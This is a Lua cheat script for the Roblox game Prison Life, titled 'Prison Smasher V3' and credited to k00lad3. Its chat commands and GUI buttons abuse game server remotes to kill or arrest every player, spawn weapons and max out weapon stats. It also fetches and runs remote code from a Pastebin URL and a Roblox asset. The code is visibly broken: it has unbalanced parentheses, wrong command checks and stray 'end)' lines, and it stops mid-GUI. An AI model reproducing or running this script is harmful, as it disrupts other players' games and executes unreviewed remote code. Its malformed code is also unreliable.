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- --Thanks to the creaters of viianity for the command functions and their GUI
- --Thanks to the creaters of reviz for the chat check functions and the structure idea
- --Thanks to ImFrostic for his GUI
- --Put together by k00lad3
- prefix = ":"
- wait(0.3)
- Commands = {
- '[1] kill all
- '[2] arrest all
- '[3] kill aura
- '[4] click arrest
- '[5] weapons
- '[6] GUI
- '[7] Viianity
- --kill all
- --kill all
- --kill all
- --kill all
- --kill all
- --kill all
- if string.sub(msg, 1, 10) == (prefix.."kill all" then
- wait(0.1)
- local Player = game.Players.LocalPlayer
- local prevCFrame = Player.Character.HumanoidRootPart.CFrame
- for i,v in pairs(game.Players:GetChildren()) do
- if v.Name ~= game.Players.LocalPlayer.Name then
- if not v.Character:FindFirstChild("ForceField") then
- local playerName = v.Name
- local PlayerToKill = game.Players:FindFirstChild(playerName)
- repeat
- if Player.Character.Humanoid.Sit == true then
- Player.Character.Humanoid.Sit = false
- end
- Player.Character.HumanoidRootPart.CFrame = PlayerToKill.Character.HumanoidRootPart.CFrame
- for h = 1,10 do
- game.ReplicatedStorage.meleeEvent:FireServer(PlayerToKill)
- end
- game:GetService("RunService").RenderStepped:wait()
- until PlayerToKill.Character.Humanoid.Health == 0 or v == nil
- Player.Character.HumanoidRootPart.CFrame = prevCFrame
- end
- end
- end
- end)
- --kill all end
- --kill all end
- --kill all end
- --kill all end
- --kill all end
- --kill all end
- --arrest all
- --arrest all
- --arrest all
- --arrest all
- --arrest all
- --arrest all
- if string.sub(msg, 1, 10) == (prefix.."arrest all" then
- wait(0.1)
- local Player = game.Players.LocalPlayer
- local cpos = Player.Character.HumanoidRootPart.CFrame
- for i,v in pairs(game.Teams.Criminals:GetPlayers()) do
- if v.Name ~= Player.Name then
- local i = 10
- repeat
- wait()
- i = i-1
- game.Workspace.Remote.arrest:InvokeServer(v.Character.HumanoidRootPart)
- Player.Character.HumanoidRootPart.CFrame = v.Character.HumanoidRootPart.CFrame * CFrame.new(0, 0, 1)
- until i == 0
- end
- end
- end)
- --arrest all end
- --arrest all end
- --arrest all end
- --arrest all end
- --arrest all end
- --arrest all end
- --kill aura
- --kill aura
- --kill aura
- --kill aura
- --kill aura
- --kill aura
- if string.sub(msg, 1, 10) == (prefix.."arrest all" then
- while wait(0.1) do
- for i, plr in pairs(game.Players:GetChildren()) do
- if plr.Name ~= game.Players.LocalPlayer.Name then
- for i = 1, 10 do
- game.ReplicatedStorage.meleeEvent:FireServer(plr)
- end
- end
- end
- end
- --kill aura end
- --kill aura end
- --kill aura end
- --kill aura end
- --kill aura end
- --kill aura end
- --click arrest
- --click arrest
- --click arrest
- --click arrest
- --click arrest
- --click arrest
- if string.sub(msg, 1, 10) == (prefix.."arrest all" then
- local mouse = game.Players.LocalPlayer:GetMouse()
- local arrestEvent = game.Workspace.Remote.arrest
- mouse.Button1Down:connect(function()
- local obj = mouse.Target
- local response = arrestEvent:InvokeServer(obj)
- end)
- end)
- --click arrest end
- --click arrest end
- --click arrest end
- --click arrest end
- --click arrest end
- --click arrest end
- --weapons
- --weapons
- --weapons
- --weapons
- --weapons
- --weapons
- if string.sub(msg, 1, 10) == (prefix.."weapons" then
- wait(0.1)
- local Weapon = {"AK-47"}
- for i,v in pairs(workspace.Prison_ITEMS.giver:GetChildren()) do
- if v.Name == Weapon[1] then
- local lol = workspace.Remote.ItemHandler:InvokeServer(v.ITEMPICKUP)
- end
- end
- local Weapon = {"Remington 870"}
- for i,v in pairs(workspace.Prison_ITEMS.giver:GetChildren()) do
- if v.Name == Weapon[1] then
- local lol = workspace.Remote.ItemHandler:InvokeServer(v.ITEMPICKUP)
- end
- end
- local Weapon = {"M9"}
- for i,v in pairs(workspace.Prison_ITEMS.giver:GetChildren()) do
- if v.Name == Weapon[1] then
- local lol = workspace.Remote.ItemHandler:InvokeServer(v.ITEMPICKUP)
- end
- end
- end)
- --weapons end
- --weapons end
- --weapons end
- --weapons end
- --weapons end
- --weapons end
- --GUI
- --GUI
- --GUI
- --GUI
- --GUI
- --GUI
- if string.sub(msg, 1, 10) == (prefix.."GUI" then
- -- Farewell infortality
- -- Revamp by ImFrostic, Version 2.81
- -- Objects
- local ScreenGui = Instance.new("ScreenGui")
- local page1gui = Instance.new("Frame")
- local trash5 = Instance.new("Frame")
- local logo1 = Instance.new("ImageLabel")
- local trash6 = Instance.new("TextButton")
- local close1 = Instance.new("TextButton")
- local page11 = Instance.new("TextButton")
- local page22 = Instance.new("TextButton")
- local m9 = Instance.new("TextButton")
- local ak = Instance.new("TextButton")
- local shotgun = Instance.new("TextButton")
- local m4a1 = Instance.new("TextButton")
- local taser = Instance.new("TextButton")
- local allguns = Instance.new("TextButton")
- local admin = Instance.new("TextButton")
- local btools = Instance.new("TextButton")
- local page2gui = Instance.new("Frame")
- local trash2 = Instance.new("Frame")
- local logo = Instance.new("ImageLabel")
- local trash3 = Instance.new("TextButton")
- local close = Instance.new("TextButton")
- local page1 = Instance.new("TextButton")
- local page2 = Instance.new("TextButton")
- local police = Instance.new("TextButton")
- local criminal = Instance.new("TextButton")
- local prisoner = Instance.new("TextButton")
- local allmelee = Instance.new("TextButton")
- local killall = Instance.new("TextButton")
- local opengui = Instance.new("Frame")
- local open = Instance.new("TextButton")
- local logingui = Instance.new("Frame")
- local trash1 = Instance.new("TextButton")
- local login = Instance.new("TextButton")
- local trash = Instance.new("TextButton")
- -- Properties
- ScreenGui.Parent = game.CoreGui
- page1gui.Name = "page1gui"
- page1gui.Parent = ScreenGui
- page1gui.BackgroundColor3 = Color3.new(1, 1, 1)
- page1gui.Position = UDim2.new(0.227522939, 0, 0.205273092, 0)
- page1gui.Size = UDim2.new(0, 423, 0, 256)
- page1gui.Visible = false
- page1gui.Active = true
- page1gui.Draggable = true
- trash5.Name = "trash5"
- trash5.Parent = page1gui
- trash5.BackgroundColor3 = Color3.new(0.494118, 0.494118, 0.494118)
- trash5.Size = UDim2.new(0, 423, 0, 65)
- logo1.Name = "logo1"
- logo1.Parent = page1gui
- logo1.BackgroundColor3 = Color3.new(0.47451, 0.47451, 0.47451)
- logo1.Size = UDim2.new(0, 73, 0, 65)
- logo1.Image = "rbxassetid://112536744"
- trash6.Name = "trash6"
- trash6.Parent = page1gui
- trash6.BackgroundColor3 = Color3.new(1, 1, 1)
- trash6.BackgroundTransparency = 1
- trash6.Position = UDim2.new(0.241134748, 0, 0.02734375, 0)
- trash6.Size = UDim2.new(0, 299, 0, 50)
- trash6.Font = Enum.Font.SourceSans
- trash6.Text = "Prison Smasher V3"
- trash6.TextColor3 = Color3.new(0, 0, 0)
- trash6.TextScaled = true
- trash6.TextSize = 14
- trash6.TextWrapped = true
- close1.Name = "close1"
- close1.Parent = page1gui
- close1.BackgroundColor3 = Color3.new(1, 0, 0)
- close1.Position = UDim2.new(0.914893627, 0, 0.27734375, 0)
- close1.Size = UDim2.new(0, 36, 0, 24)
- close1.Font = Enum.Font.SourceSans
- close1.Text = "X"
- close1.TextColor3 = Color3.new(0, 0, 0)
- close1.TextSize = 14
- close1.MouseButton1Down:connect(function()
- page1gui.Visible = false
- opengui.Visible = true
- end)
- page11.Name = "page11"
- page11.Parent = page1gui
- page11.BackgroundColor3 = Color3.new(1, 0, 0)
- page11.Position = UDim2.new(0.914893627, 0, 0.7109375, 0)
- page11.Size = UDim2.new(0, 36, 0, 24)
- page11.Font = Enum.Font.SourceSans
- page11.Text = "1"
- page11.TextColor3 = Color3.new(0, 0, 0)
- page11.TextSize = 14
- page22.Name = "page22"
- page22.Parent = page1gui
- page22.BackgroundColor3 = Color3.new(1, 0, 0)
- page22.Position = UDim2.new(0.914893627, 0, 0.859375, 0)
- page22.Size = UDim2.new(0, 36, 0, 24)
- page22.Font = Enum.Font.SourceSans
- page22.Text = "2"
- page22.TextColor3 = Color3.new(0, 0, 0)
- page22.TextSize = 14
- m9.Name = "m9"
- m9.Parent = page1gui
- m9.BackgroundColor3 = Color3.new(0.388235, 0.388235, 0.388235)
- m9.Position = UDim2.new(0.0425531901, 0, 0.30859375, 0)
- m9.Size = UDim2.new(0, 101, 0, 24)
- m9.Font = Enum.Font.SourceSans
- m9.Text = "Fast M9"
- m9.TextColor3 = Color3.new(0, 0, 0)
- m9.TextSize = 14
- m9.MouseButton1Down:connect(function()
- local player = game:GetService("Players").LocalPlayer
- local gun = player.Backpack:FindFirstChild("M9")
- local sM = require(gun:FindFirstChild("GunStates"))
- sM["Damage"] = 999
- sM["MaxAmmo"] = 9999991
- sM["StoredAmmo"] = 9999991
- sM["FireRate"] = 0.05
- sM["AmmoPerClip"] = 9999991
- sM["Range"] = 5000
- sM["ReloadTime"] = 0.05
- sM["Bullets"] = 10
- sM["AutoFire"] = true
- end)
- ak.Name = "ak"
- ak.Parent = page1gui
- ak.BackgroundColor3 = Color3.new(0.4, 0.4, 0.4)
- ak.Position = UDim2.new(0.0425531901, 0, 0.453125, 0)
- ak.Size = UDim2.new(0, 222, 0, 24)
- ak.Font = Enum.Font.SourceSans
- ak.Text = "Fast AK-47"
- ak.TextColor3 = Color3.new(0, 0, 0)
- ak.TextSize = 14
- ak.MouseButton1Down:connect(function()
- local player = game:GetService("Players").LocalPlayer
- local gun = player.Backpack:FindFirstChild("AK-47")
- local sM = require(gun:FindFirstChild("GunStates"))
- sM["Damage"] = 999
- sM["MaxAmmo"] = 9999991
- sM["StoredAmmo"] = 9999991
- sM["FireRate"] = 0.05
- sM["AmmoPerClip"] = 9999991
- sM["Range"] = 5000
- sM["ReloadTime"] = 0.05
- sM["Bullets"] = 10
- sM["AutoFire"] = true
- end)
- shotgun.Name = "shotgun"
- shotgun.Parent = page1gui
- shotgun.BackgroundColor3 = Color3.new(0.45098, 0.45098, 0.45098)
- shotgun.Position = UDim2.new(0.0425531901, 0, 0.5703125, 0)
- shotgun.Size = UDim2.new(0, 222, 0, 24)
- shotgun.Font = Enum.Font.SourceSans
- shotgun.Text = "Fast Shotgun"
- shotgun.TextColor3 = Color3.new(0, 0, 0)
- shotgun.TextSize = 14
- shotgun.MouseButton1Down:connect(function()
- local player = game:GetService("Players").LocalPlayer
- local gun = player.Backpack:FindFirstChild("Remington 870")
- local sM = require(gun:FindFirstChild("GunStates"))
- sM["Damage"] = 999
- sM["MaxAmmo"] = 9999991
- sM["StoredAmmo"] = 9999991
- sM["FireRate"] = 0.05
- sM["AmmoPerClip"] = 9999991
- sM["Range"] = 5000
- sM["ReloadTime"] = 0.05
- sM["Bullets"] = 10
- sM["AutoFire"] = true
- end)
- m4a1.Name = "m4a1"
- m4a1.Parent = page1gui
- m4a1.BackgroundColor3 = Color3.new(0.4, 0.4, 0.4)
- m4a1.Position = UDim2.new(0.0425531901, 0, 0.7109375, 0)
- m4a1.Size = UDim2.new(0, 222, 0, 24)
- m4a1.Font = Enum.Font.SourceSans
- m4a1.Text = "Fast M4A1"
- m4a1.TextColor3 = Color3.new(0, 0, 0)
- m4a1.TextSize = 14
- m4a1.MouseButton1Down:connect(function()
- local player = game:GetService("Players").LocalPlayer
- local gun = player.Backpack:FindFirstChild("M4A1")
- local sM = require(gun:FindFirstChild("GunStates"))
- sM["Damage"] = 999
- sM["MaxAmmo"] = 9999991
- sM["StoredAmmo"] = 9999991
- sM["FireRate"] = 0.05
- sM["AmmoPerClip"] = 9999991
- sM["Range"] = 5000
- sM["ReloadTime"] = 0.05
- sM["Bullets"] = 10
- sM["AutoFire"] = true
- end)
- taser.Name = "taser"
- taser.Parent = page1gui
- taser.BackgroundColor3 = Color3.new(0.4, 0.4, 0.4)
- taser.Position = UDim2.new(0.328605205, 0, 0.30859375, 0)
- taser.Size = UDim2.new(0, 101, 0, 24)
- taser.Font = Enum.Font.SourceSans
- taser.Text = "Fast Taser"
- taser.TextColor3 = Color3.new(0, 0, 0)
- taser.TextSize = 14
- taser.MouseButton1Down:connect(function()
- local player = game:GetService("Players").LocalPlayer
- local gun = player.Backpack:FindFirstChild("Taser")
- local sM = require(gun:FindFirstChild("GunStates"))
- sM["Damage"] = 999
- sM["MaxAmmo"] = 9999991
- sM["StoredAmmo"] = 9999991
- sM["FireRate"] = 0.05
- sM["AmmoPerClip"] = 9999991
- sM["Range"] = 5000
- sM["ReloadTime"] = 0.05
- sM["Bullets"] = 10
- sM["AutoFire"] = true
- end)
- allguns.Name = "allguns"
- allguns.Parent = page1gui
- allguns.BackgroundColor3 = Color3.new(0.403922, 0.403922, 0.403922)
- allguns.Position = UDim2.new(0.0425531901, 0, 0.859375, 0)
- allguns.Size = UDim2.new(0, 222, 0, 24)
- allguns.Font = Enum.Font.SourceSans
- allguns.Text = "All guns"
- allguns.TextColor3 = Color3.new(0, 0, 0)
- allguns.TextSize = 14
- allguns.MouseButton1Down:connect(function()
- for i,v in pairs(Workspace.Prison_ITEMS.giver:GetChildren()) do
- lol = Workspace.Remote.ItemHandler:InvokeServer(v.ITEMPICKUP)
- print(lol)
- end
- end)
- admin.Name = "admin"
- admin.Parent = page1gui
- admin.BackgroundColor3 = Color3.new(0.392157, 0.392157, 0.392157)
- admin.Position = UDim2.new(0.628841579, 0, 0.30859375, 0)
- admin.Size = UDim2.new(0, 101, 0, 91)
- admin.Font = Enum.Font.SourceSans
- admin.Text = "FE Admin"
- admin.TextColor3 = Color3.new(0, 0, 0)
- admin.TextSize = 14
- admin.MouseButton1Down:connect(function()
- loadstring(game:HttpGet(("https://pastebin.com/raw/44bNjECt"),true))()
- end)
- btools.Name = "btools"
- btools.Parent = page1gui
- btools.BackgroundColor3 = Color3.new(0.407843, 0.407843, 0.407843)
- btools.Position = UDim2.new(0.628841579, 0, 0.7109375, 0)
- btools.Size = UDim2.new(0, 101, 0, 62)
- btools.Font = Enum.Font.SourceSans
- btools.Text = "Btools"
- btools.TextColor3 = Color3.new(0, 0, 0)
- btools.TextSize = 14
- btools.MouseButton1Down:connect(function()
- btools.MouseButton1Down:connect(function()
- Instance.new('HopperBin', game.Players.LocalPlayer.Backpack).BinType = 2
- Instance.new('HopperBin', game.Players.LocalPlayer.Backpack).BinType = 3
- Instance.new('HopperBin', game.Players.LocalPlayer.Backpack).BinType = 4
- loadstring(game:GetObjects('rbxassetid://552440069')[1].Source)()
- end)
- end)
- page2gui.Name = "page2gui"
- page2gui.Parent = ScreenGui
- page2gui.BackgroundColor3 = Color3.new(1, 1, 1)
- page2gui.Position = UDim2.new(0.227522969, 0, 0.205273092, 0)
- page2gui.Size = UDim2.new(0, 423, 0, 256)
- page2gui.Visible = false
- page2gui.Active = true
- page2gui.Draggable = true
- trash2.Name = "trash2"
- trash2.Parent = page2gui
- trash2.BackgroundColor3 = Color3.new(0.494118, 0.494118, 0.494118)
- trash2.Size = UDim2.new(0, 423, 0, 65)
- logo.Name = "logo"
- logo.Parent = page2gui
- logo.BackgroundColor3 = Color3.new(0.47451, 0.47451, 0.47451)
- logo.Size = UDim2.new(0, 73, 0, 65)
- logo.Image = "rbxassetid://112536744"
- trash3.Name = "trash3"
- trash3.Parent = page2gui
- trash3.BackgroundColor3 = Color3.new(1, 1, 1)
- trash3.BackgroundTransparency = 1
- trash3.Position = UDim2.new(0.231678486, 0, 0.02734375, 0)
- trash3.Size = UDim2.new(0, 299, 0, 50)
- trash3.Font = Enum.Font.SourceSans
- trash3.Text = "Prison Smasher V3"
- trash3.TextColor3 = Color3.new(0, 0, 0)
- trash3.TextScaled = true
- trash3.TextSize = 14
- trash3.TextWrapped = true
- close.Name = "close"
- close.Parent = page2gui
- close.BackgroundColor3 = Color3.new(1, 0, 0)
- close.Position = UDim2.new(0.914893627, 0, 0.27734375, 0)
- close.Size = UDim2.new(0, 36, 0, 24)
- close.Font = Enum.Font.SourceSans
- close.Text = "X"
- close.TextColor3 = Color3.new(0, 0, 0)
- close.TextSize = 14
- close.MouseButton1Down:connect(function()
- page2gui.Visible = false
- opengui.Visible = true
- end)
- page1.Name = "page1"
- page1.Parent = page2gui
- page1.BackgroundColor3 = Color3.new(1, 0, 0)
- page1.Position = UDim2.new(0.914893627, 0, 0.7109375, 0)
- page1.Size = UDim2.new(0, 36, 0, 24)
- page1.Font = Enum.Font.SourceSans
- page1.Text = "1"
- page1.TextColor3 = Color3.new(0, 0, 0)
- page1.TextSize = 14
- page1.MouseButton1Down:connect(function()
- page1gui.Visible = true
- page2gui.Visible = false
- end)
- page2.Name = "page2"
- page2.Parent = page2gui
- page2.BackgroundColor3 = Color3.new(1, 0, 0)
- page2.Position = UDim2.new(0.914893627, 0, 0.859375, 0)
- page2.Size = UDim2.new(0, 36, 0, 24)
- page2.Font = Enum.Font.SourceSans
- page2.Text = "2"
- page2.TextColor3 = Color3.new(0, 0, 0)
- page2.TextSize = 14
- page2.MouseButton1Down:connect(function()
- page2gui.Visible = true
- page1gui.Visible = false
- end)
- police.Name = "police"
- police.Parent = page2gui
- police.BackgroundColor3 = Color3.new(0.45098, 0.45098, 0.45098)
- police.Position = UDim2.new(0.0307328589, 0, 0.859375, 0)
- police.Size = UDim2.new(0, 358, 0, 24)
- police.Font = Enum.Font.SourceSans
- police.Text = "Police"
- police.TextColor3 = Color3.new(0, 0, 0)
- police.TextSize = 14
- police.MouseButton1Down:connect(function()
- Workspace.Remote.TeamEvent:FireServer("Bright blue")
- end)
- criminal.Name = "criminal"
- criminal.Parent = page2gui
- criminal.BackgroundColor3 = Color3.new(0.45098, 0.45098, 0.45098)
- criminal.Position = UDim2.new(0.0307328608, 0, 0.7109375, 0)
- criminal.Size = UDim2.new(0, 172, 0, 24)
- criminal.Font = Enum.Font.SourceSans
- criminal.Text = "Criminal"
- criminal.TextColor3 = Color3.new(0, 0, 0)
- criminal.TextSize = 14
- criminal.MouseButton1Down:connect(function()
- game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new (283, 72, 2213)
- end)
- prisoner.Name = "prisoner"
- prisoner.Parent = page2gui
- prisoner.BackgroundColor3 = Color3.new(0.45098, 0.45098, 0.45098)
- prisoner.Position = UDim2.new(0.470449179, 0, 0.7109375, 0)
- prisoner.Size = UDim2.new(0, 172, 0, 24)
- prisoner.Font = Enum.Font.SourceSans
- prisoner.Text = "Prisoner"
- prisoner.TextColor3 = Color3.new(0, 0, 0)
- prisoner.TextSize = 14
- prisoner.MouseButton1Down:connect(function()
- Workspace.Remote.TeamEvent:FireServer("Bright orange")
- end)
- allmelee.Name = "allmelee"
- allmelee.Parent = page2gui
- allmelee.BackgroundColor3 = Color3.new(0.45098, 0.45098, 0.45098)
- allmelee.Position = UDim2.new(0.0307328608, 0, 0.40234375, 0)
- allmelee.Size = UDim2.new(0, 358, 0, 67)
- allmelee.Font = Enum.Font.SourceSans
- allmelee.Text = "All Melee"
- allmelee.TextColor3 = Color3.new(0, 0, 0)
- allmelee.TextSize = 14
- allmelee.MouseButton1Down:connect(function()
- local weapons = {"Crude Knife", "Sharpened stick", "Extendo mirror"}
- for i, v in pairs(game.ReplicatedStorage.Tools:GetChildren()) do
- for j, k in pairs(weapons) do
- if v.Name == k then
- v:Clone().Parent = game.Players.LocalPlayer.Backpack
- end
- end
- end
- end)
- killall.Name = "killall"
- killall.Parent = page2gui
- killall.BackgroundColor3 = Color3.new(0.45098, 0.45098, 0.45098)
- killall.Position = UDim2.new(0.0307328589, 0, 0.27734375, 0)
- killall.Size = UDim2.new(0, 358, 0, 24)
- killall.Font = Enum.Font.SourceSans
- killall.Text = "Kill all"
- killall.TextColor3 = Color3.new(0, 0, 0)
- killall.TextSize = 14
- killall.MouseButton1Down:connect(function()
- function kill(a)
- local A_1 =
- {
- [1] =
- {
- ["RayObject"] = Ray.new(Vector3.new(845.555908, 101.429337, 2269.43945), Vector3.new(-391.152252, 8.65560055, -83.2166901)),
- ["Distance"] = 3.2524313926697,
- ["Cframe"] = CFrame.new(840.310791, 101.334137, 2267.87988, 0.0636406094, 0.151434347, -0.986416459, 0, 0.988420188, 0.151741937, 0.997972965, -0.00965694897, 0.0629036576),
- ["Hit"] = a.Character.Head
- },
- [2] =
- {
- ["RayObject"] = Ray.new(Vector3.new(845.555908, 101.429337, 2269.43945), Vector3.new(-392.481476, -8.44939327, -76.7261353)),
- ["Distance"] = 3.2699294090271,
- ["Cframe"] = CFrame.new(840.290466, 101.184189, 2267.93506, 0.0964837447, 0.0589403138, -0.993587971, 4.65661287e-10, 0.998245299, 0.0592165813, 0.995334625, -0.00571343815, 0.0963144377),
- ["Hit"] = a.Character.Head
- },
- [3] =
- {
- ["RayObject"] = Ray.new(Vector3.new(845.555908, 101.429337, 2269.43945), Vector3.new(-389.21701, -2.50536323, -92.2163162)),
- ["Distance"] = 3.1665518283844,
- ["Cframe"] = CFrame.new(840.338867, 101.236496, 2267.80371, 0.0166504811, 0.0941716284, -0.995416701, 1.16415322e-10, 0.995554805, 0.0941846818, 0.999861419, -0.00156822044, 0.0165764652),
- ["Hit"] = a.Character.Head
- },
- [4] =
- {
- ["RayObject"] = Ray.new(Vector3.new(845.555908, 101.429337, 2269.43945), Vector3.new(-393.353973, 3.13988972, -72.5452042)),
- ["Distance"] = 3.3218522071838,
- ["Cframe"] = CFrame.new(840.277222, 101.285957, 2267.9707, 0.117109694, 0.118740402, -0.985994935, -1.86264515e-09, 0.992826641, 0.119563118, 0.993119001, -0.0140019981, 0.116269611),
- ["Hit"] = a.Character.Head
- },
- [5] =
- {
- ["RayObject"] = Ray.new(Vector3.new(845.555908, 101.429337, 2269.43945), Vector3.new(-390.73172, 3.2097764, -85.5477524)),
- ["Distance"] = 3.222757101059,
- ["Cframe"] = CFrame.new(840.317993, 101.286423, 2267.86035, 0.0517584644, 0.123365127, -0.991010666, 0, 0.992340803, 0.123530701, 0.99865967, -0.00639375951, 0.0513620302),
- ["Hit"] = a.Character.Head
- }
- }
- local A_2 = game.Players.LocalPlayer.Backpack["Remington 870"]
- local Event = game:GetService("ReplicatedStorage").ShootEvent
- Event:FireServer(A_1, A_2)
- Event:FireServer(A_1, A_2)
- end
- game.Players.LocalPlayer.Chatted:connect(function(msg)
- if msg == ";kill others" then
- for i,v in pairs(game.Players:GetChildren())do
- if v.Name ~= game.Players.LocalPlayer.Name then
- kill(v)
- end
- end
- end
- end)
- end)
- opengui.Name = "opengui"
- opengui.Parent = ScreenGui
- opengui.BackgroundColor3 = Color3.new(1, 1, 1)
- opengui.Position = UDim2.new(0, 0, 0.429378539, 0)
- opengui.Size = UDim2.new(0, 125, 0, 18)
- opengui.Visible = false
- open.Name = "open"
- open.Parent = opengui
- open.BackgroundColor3 = Color3.new(0.368627, 0.368627, 0.368627)
- open.BorderSizePixel = 5
- open.Size = UDim2.new(0, 125, 0, 18)
- open.Font = Enum.Font.SourceSans
- open.Text = "Open GUI"
- open.TextColor3 = Color3.new(0, 0, 0)
- open.TextSize = 14
- open.MouseButton1Down:connect(function()
- page1gui.Visible = true
- opengui.Visible = false
- end)
- logingui.Name = "logingui"
- logingui.Parent = ScreenGui
- logingui.BackgroundColor3 = Color3.new(1, 1, 1)
- logingui.Position = UDim2.new(0.177064225, 0, 0.348399222, 0)
- logingui.Size = UDim2.new(0, 232, 0, 160)
- logingui.Active = true
- logingui.Draggable = true
- trash1.Name = "trash1"
- trash1.Parent = logingui
- trash1.BackgroundColor3 = Color3.new(0.372549, 0.372549, 0.372549)
- trash1.Position = UDim2.new(0.068965517, 0, 0.0625, 0)
- trash1.Size = UDim2.new(0, 200, 0, 50)
- trash1.Font = Enum.Font.SourceSans
- trash1.Text = "Prison Smasher V3"
- trash1.TextColor3 = Color3.new(0, 0, 0)
- trash1.TextScaled = true
- trash1.TextSize = 14
- trash1.TextWrapped = true
- login.Name = "login"
- login.Parent = logingui
- login.BackgroundColor3 = Color3.new(0.372549, 0.372549, 0.372549)
- login.Position = UDim2.new(0.18534483, 0, 0.449999988, 0)
- login.Size = UDim2.new(0, 146, 0, 50)
- login.Font = Enum.Font.SourceSans
- login.Text = "Login"
- login.TextColor3 = Color3.new(0, 0, 0)
- login.TextScaled = true
- login.TextSize = 14
- login.TextWrapped = true
- login.MouseButton1Down:connect(function()
- opengui.Visible = true
- logingui.Visible = false
- end)
- trash.Name = "trash"
- trash.Parent = logingui
- trash.BackgroundColor3 = Color3.new(0.372549, 0.372549, 0.372549)
- trash.Position = UDim2.new(0.068965517, 0, 0.831250012, 0)
- trash.Size = UDim2.new(0, 200, 0, 17)
- trash.Font = Enum.Font.SourceSans
- trash.Text = "Made by MasterXasterM"
- trash.TextColor3 = Color3.new(0, 0, 0)
- trash.TextScaled = true
- trash.TextSize = 14
- trash.TextWrapped = true
- -- Scripts
- --GUI end
- --GUI end
- --GUI end
- --GUI end
- --GUI end
- --GUI end
- --Viianity
- --Viianity
- --Viianity
- --Viianity
- --Viianity
- --Viianity
- if string.sub(msg, 1, 10) == (prefix.."arrest all" then
- local VillanityGUIV1 = Instance.new("ScreenGui")
- local Main = Instance.new("Frame")
- local Frame = Instance.new("Frame")
- local Frame_2 = Instance.new("Frame")
- local Frame_3 = Instance.new("Frame")
- local Text = Instance.new("TextLabel")
- local Text_2 = Instance.new("TextLabel")
- local Frame_4 = Instance.new("Frame")
- local Frame_5 = Instance.new("Frame")
- local Frame_6 = Instance.new("Frame")
- local Frame_7 = Instance.new("Frame")
- local Close = Instance.new("Frame")
- local Frame_8 = Instance.new("Frame")
- local Frame_9 = Instance.new("Frame")
- local Frame_10 = Instance.new("Frame")
- local Frame_11 = Instance.new("Frame")
- local CloseButton = Instance.new("TextButton")
- local KillAuraOn = Instance.new("Frame")
- local KAOnB = Instance.new("TextButton")
- local KillAuraOff = Instance.new("Frame")
- local KAOffB = Instance.new("TextButton")
- local Text_3 = Instance.new("TextLabel")
- local Text_4 = Instance.new("TextLabel")
- local GodModeOn = Instance.new("Frame")
- local GMOnB = Instance.new("TextButton")
- local GodModeOff = Instance.new("Frame")
- local GMOffB = Instance.new("TextButton")
- local Text_5 = Instance.new("TextLabel")
- local NoclipOn = Instance.new("Frame")
- local NCOnB = Instance.new("TextButton")
- local NoclipOff = Instance.new("Frame")
- local NCOffB = Instance.new("TextButton")
- local Text_6 = Instance.new("TextLabel")
- local ClickArrest = Instance.new("Frame")
- local CAOnB = Instance.new("TextButton")
- local Text_7 = Instance.new("TextLabel")
- local Guard = Instance.new("Frame")
- local GuardB = Instance.new("TextButton")
- local Inmate = Instance.new("Frame")
- local InmateB = Instance.new("TextButton")
- local Text_8 = Instance.new("TextLabel")
- local ClickArrestOn = Instance.new("Frame")
- local Text_9 = Instance.new("TextLabel")
- local KillAll = Instance.new("Frame")
- local KillAllB = Instance.new("TextButton")
- local Text_10 = Instance.new("TextLabel")
- local Text_11 = Instance.new("TextLabel")
- local ArrestAll = Instance.new("Frame")
- local ArrestAllB = Instance.new("TextButton")
- local ClickTP = Instance.new("Frame")
- local ClickTPOnB = Instance.new("TextButton")
- local Weapons = Instance.new("Frame")
- local WepB = Instance.new("TextButton")
- local Text_12 = Instance.new("TextLabel")
- local Text_13 = Instance.new("TextLabel")
- local Text_14 = Instance.new("TextLabel")
- local FlyingOn = Instance.new("Frame")
- local FlyOnB = Instance.new("TextButton")
- local FlyingOff = Instance.new("Frame")
- local FlyOffB = Instance.new("TextButton")
- local Btools = Instance.new("Frame")
- local BtoolsOn = Instance.new("TextButton")
- local Open = Instance.new("Frame")
- local Frame_12 = Instance.new("Frame")
- local Frame_13 = Instance.new("Frame")
- local Frame_14 = Instance.new("Frame")
- local Frame_15 = Instance.new("Frame")
- local OpenButton = Instance.new("TextButton")
- print("Successfully loaded VillanityGUI")
- --Properties:
- VillanityGUIV1.Name = "VillanityGUIV1"
- VillanityGUIV1.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
- Main.Name = "Main"
- Main.Parent = VillanityGUIV1
- Main.Active = true
- Main.BackgroundColor3 = Color3.new(0, 0, 0)
- Main.BackgroundTransparency = 0.5
- Main.BorderColor3 = Color3.new(0, 0, 0)
- Main.BorderSizePixel = 0
- Main.Position = UDim2.new(0.37534523, 0, 0.163406581, 0)
- Main.Size = UDim2.new(0, 340, 0, 363)
- Frame.Parent = Main
- Frame.BackgroundColor3 = Color3.new(0, 0, 0)
- Frame.BackgroundTransparency = 0.40000000596046
- Frame.BorderSizePixel = 0
- Frame.Position = UDim2.new(0, 0, -0.187110379, 0)
- Frame.Size = UDim2.new(0, 340, 0, 57)
- Frame_2.Parent = Main
- Frame_2.BackgroundColor3 = Color3.new(1, 1, 1)
- Frame_2.BackgroundTransparency = 0.30000001192093
- Frame_2.BorderSizePixel = 0
- Frame_2.Position = UDim2.new(0, 0, -0.0290706288, 0)
- Frame_2.Size = UDim2.new(0, 340, 0, 11)
- Frame_3.Parent = Main
- Frame_3.BackgroundColor3 = Color3.new(1, 1, 1)
- Frame_3.BackgroundTransparency = 0.30000001192093
- Frame_3.BorderSizePixel = 0
- Frame_3.Position = UDim2.new(0, 0, -0.199869528, 0)
- Frame_3.Size = UDim2.new(0, 340, 0, 5)
- Text.Name = "Text"
- Text.Parent = Frame_3
- Text.BackgroundColor3 = Color3.new(1, 1, 1)
- Text.BackgroundTransparency = 1
- Text.BorderSizePixel = 0
- Text.Position = UDim2.new(0.153058887, 0, -2.60000038, 0)
- Text.Size = UDim2.new(0, 234, 0, 67)
- Text.Font = Enum.Font.Cartoon
- Text.Text = "Villanity GUI V1"
- Text.TextColor3 = Color3.new(1, 1, 1)
- Text.TextSize = 40
- Text_2.Name = "Text"
- Text_2.Parent = Frame_3
- Text_2.BackgroundColor3 = Color3.new(1, 1, 1)
- Text_2.BackgroundTransparency = 1
- Text_2.BorderSizePixel = 0
- Text_2.Position = UDim2.new(0.156000018, 0, 2.39999771, 0)
- Text_2.Size = UDim2.new(0, 234, 0, 67)
- Text_2.Font = Enum.Font.Cartoon
- Text_2.Text = "Prison Life"
- Text_2.TextColor3 = Color3.new(1, 1, 1)
